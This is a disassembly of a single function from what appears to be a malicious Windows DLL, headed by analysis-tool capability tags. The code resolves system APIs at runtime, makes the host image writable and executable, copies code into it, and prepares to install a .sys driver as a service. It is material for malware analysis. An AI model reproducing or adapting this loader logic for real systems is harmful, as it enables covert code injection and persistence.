Function at 0x10002120
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x10011540]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [0x100137a8]
mov dword [ebp - 0x124], eax
mov eax, esi
mov dword [ebp - 0x118], 0
cmp dword [eax + 0x1c], 0x50464844
mov dword [ebp - 0x120], eax
jne 0x10002749
mov edx, dword [0x100137bc]
mov ecx, dword [0x100137b8]
add eax, 0x3c
mov ebx, 4
mov edi, 0x50474446
cmp dword [eax - 0xc], edi
jne 0x10002191
mov ecx, dword [eax - 4]
mov edx, dword [eax]
add ecx, esi
cmp dword [eax + 0x14], edi
jne 0x1000219e
mov ecx, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
add ecx, esi
cmp dword [eax + 0x34], edi
jne 0x100021ab
mov ecx, dword [eax + 0x3c]
mov edx, dword [eax + 0x40]
add ecx, esi
cmp dword [eax + 0x54], edi
jne 0x100021b8
mov ecx, dword [eax + 0x5c]
mov edx, dword [eax + 0x60]
add ecx, esi
sub eax, 0xffffff80
dec ebx
jne 0x10002185
mov dword [0x100137b8], ecx
mov dword [0x100137bc], edx
test ecx, ecx
je 0x10002749
test edx, edx
je 0x10002749
push 0x33c
call fcn.10003d3d
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x10002201
lea eax, [ebx + 8]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
push 0x33c
push 0
push ebx
call fcn.100065f0
add esp, 0xc
lea edi, [ebx + 0xfc]
push 0x104
push edi
mov dword [ebp - 0x11c], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea esi, [ebx + 0xdc]
call fcn.100011d0
lea eax, [edi - 1]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002237
mov ecx, dword [str.Drivers_]
mov dword [eax], ecx
mov edx, dword [0x1000f440]
mov dword [eax + 4], edx
mov cx, word [0x1000f444]
mov word [eax + 8], cx
mov eax, esi
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002260
sub eax, esi
dec edi
lea ebx, [ebx]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10002270
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [ebp - 0x11c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002290
mov edx, dword [str..sys]
mov dword [eax], edx
mov cl, byte [0x1000f44c]
push 0x104
lea edx, [ebp - 0x110]
push 0
push edx
mov byte [eax + 4], cl
call fcn.100065f0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x110]
push 0x5c
push ecx
call fcn.10003d10
add esp, 8
test eax, eax
jne 0x100022fd
lea edx, [ebp - 0x110]
push 0x2f
push edx
call fcn.10003d10
add esp, 8
test eax, eax
je 0x10002311
mov ecx, dword [str.ali.dll]
mov dword [eax + 1], ecx
mov edx, dword [0x1000f454]
mov dword [eax + 5], edx
jmp 0x10002328
mov eax, dword [str.ali.dll]
mov ecx, dword [0x1000f454]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
lea eax, [ebp - 0x110]
mov edx, ebx
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [eax + edx + 0x200], cl
inc eax
test cl, cl
jne 0x10002334
mov edx, dword [str.LdMyRes]
mov edi, dword [ebp - 0x124]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebx + 0x31c], edx
mov eax, dword [0x1000f45c]
push str.LoadLibraryA
push edi
mov dword [ebx + 0x320], eax
call esi
push 0x1000f274
push edi
mov dword [ebx], eax
call esi
push 0x1000f288
push edi
mov dword [ebx + 8], eax
call esi
push str.FreeLibrary
push edi
mov dword [ebx + 0xc], eax
call esi
push 0x1000f2a4
push edi
mov dword [ebx + 4], eax
call esi
push 0x1000f2b4
push edi
mov dword [ebx + 0x10], eax
call esi
push str.IsWow64Process
push edi
mov dword [ebx + 0x14], eax
call esi
push str.Wow64DisableWow64FsRedirection
push edi
mov dword [ebx + 0x18], eax
call esi
push str.Wow64RevertWow64FsRedirection
push edi
mov dword [ebx + 0x1c], eax
call esi
push 0x1000f4b0
push edi
mov dword [ebx + 0x20], eax
call esi
push str.DeleteFileA
push edi
mov dword [ebx + 0x24], eax
call esi
push 0x1000f2d8
push edi
mov dword [ebx + 0x28], eax
call esi
push 0x1000f2e4
push edi
mov dword [ebx + 0x2c], eax
call esi
push 0x1000f2f0
push edi
mov dword [ebx + 0x30], eax
call esi
push str.SetFileAttributesA
push edi
mov dword [ebx + 0x34], eax
call esi
mov dword [ebx + 0x38], eax
mov ecx, dword [str.Advapi32.dll]
mov dword [ebx + 0x3c], ecx
mov edx, dword [0x1000f568]
mov dword [ebx + 0x40], edx
mov eax, dword [0x1000f56c]
mov dword [ebx + 0x44], eax
mov cl, byte [0x1000f570]
mov byte [ebx + 0x48], cl
mov edx, dword [str.OpenSCManagerA]
mov dword [ebx + 0x5c], edx
mov eax, dword [0x1000f4c8]
mov dword [ebx + 0x60], eax
mov ecx, dword [0x1000f4cc]
mov dword [ebx + 0x64], ecx
movzx edx, word [0x1000f4d0]
cmp dword [ebx + 0x18], 0
mov word [ebx + 0x68], dx
movzx eax, byte [0x1000f4d2]
mov byte [ebx + 0x6a], al
mov ecx, dword [str.CreateServiceA]
mov dword [ebx + 0x7c], ecx
mov edx, dword [0x1000f4d8]
mov dword [ebx + 0x80], edx
mov eax, dword [0x1000f4dc]
mov dword [ebx + 0x84], eax
mov cx, word [0x1000f4e0]
mov word [ebx + 0x88], cx
mov dl, byte [0x1000f4e2]
mov byte [ebx + 0x8a], dl
mov eax, dword [str.StartServiceA]
mov dword [ebx + 0x9c], eax
mov ecx, dword [0x1000f4e8]
mov dword [ebx + 0xa0], ecx
mov edx, dword [0x1000f4ec]
mov dword [ebx + 0xa4], edx
mov ax, word [0x1000f4f0]
mov word [ebx + 0xa8], ax
mov ecx, dword [str.CloseServiceHandle]
mov dword [ebx + 0xbc], ecx
mov edx, dword [0x1000f4f8]
mov dword [ebx + 0xc0], edx
mov eax, dword [0x1000f4fc]
mov dword [ebx + 0xc4], eax
mov ecx, dword [0x1000f500]
mov dword [ebx + 0xc8], ecx
movzx edx, word [0x1000f504]
mov word [ebx + 0xcc], dx
movzx eax, byte [0x1000f506]
mov byte [ebx + 0xce], al
je 0x10002528
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [ebx + 0x18]
push eax
call edx
mov edx, dword [ebp - 0x120]
mov esi, dword [ebp - 0x118]
xor eax, eax
lea ecx, [edx + 0x30]
lea esp, [esp]
test esi, esi
je 0x1000254c
cmp dword [ecx], 0x50473634
jmp 0x10002552
cmp dword [ecx], 0x50473332
je 0x1000255f
inc eax
add ecx, 0x20
cmp eax, 0x10
jb 0x10002540
jmp 0x1000257c
shl eax, 5
mov ecx, dword [eax + edx + 0x3c]
mov edx, dword [eax + edx + 0x38]
add edx, dword [0x100137a8]
mov dword [0x100137c4], ecx
mov dword [0x100137c0], edx
mov eax, dword [0x100137c4]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x1000
push eax
push 0
call edi
mov dword [ebx + 0x304], eax
test eax, eax
jne 0x100025c1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov esi, eax
call fcn.10003dcc
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
mov esi, dword [0x100137c4]
mov ecx, dword [0x100137c0]
push esi
push ecx
push eax
call fcn.100093f0
mov edx, dword [0x100137bc]
add esp, 0xc
push 4
push 0x1000
push edx
push 0
mov dword [ebx + 0x308], esi
call edi
mov dword [ebx + 0x30c], eax
test eax, eax
jne 0x10002637
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebx + 0x304]
mov esi, eax
mov eax, dword [ebx + 0x308]
push 0x1000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call fcn.10003dcc
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
mov esi, dword [0x100137bc]
mov edx, dword [0x100137b8]
push esi
push edx
push eax
call fcn.100093f0
add esp, 0xc
mov dword [ebx + 0x310], esi
call fcn.10001020
mov eax, dword [0x100137a8]
mov ecx, dword [0x100137ac]
lea edx, [ebp - 0x114]
push edx
push 0x40
push 0x8000
push 0x401000
mov dword [ebx + 0x314], eax
mov dword [ebx + 0x318], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x100026e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebx + 0x304]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, eax
mov eax, dword [ebx + 0x308]
push 0x1000
push eax
push ecx
call edi
mov edx, dword [ebx + 0x310]
mov eax, dword [ebx + 0x30c]
push 0x1000
push edx
push eax
call edi
push ebx
call fcn.10003dcc
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
push 0x5e
mov ecx, 0x10011e10
call fcn.10001100
mov ecx, 0xbc
mov esi, 0x10011e10
mov edi, 0x40105f
rep movsd dword es:[edi], dword [esi]
add esp, 4
mov ecx, 0xcf
mov esi, ebx
mov edi, 0x406000
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp - 0x114]
lea ecx, [ebp - 0x114]
push ecx
push edx
push 0x8000
push 0x401000
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
call fcn.10003dcc
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 0x57
pop ebx
call fcn.10003c23
mov esp, ebp
pop ebp
ret